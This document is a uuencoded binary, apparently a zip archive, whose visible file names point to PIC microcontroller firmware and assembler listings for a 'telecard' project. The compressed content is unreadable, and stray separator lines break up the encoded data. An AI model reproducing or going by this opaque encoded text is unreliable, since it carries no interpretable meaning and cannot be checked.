M#ZC4]Q*[Y\S,WK*_H'0/:[/S?=\9S^R<F3TSFS*X`"L`51G*%\`M`4"S"RHR
|
||
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
|
||
M>HI)WC1\1E#:KUFT_S,5B\TT?YF7.F`Y(1P`>!^7=K?@'/!-`EB1$R"BI
|
||
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
|
||
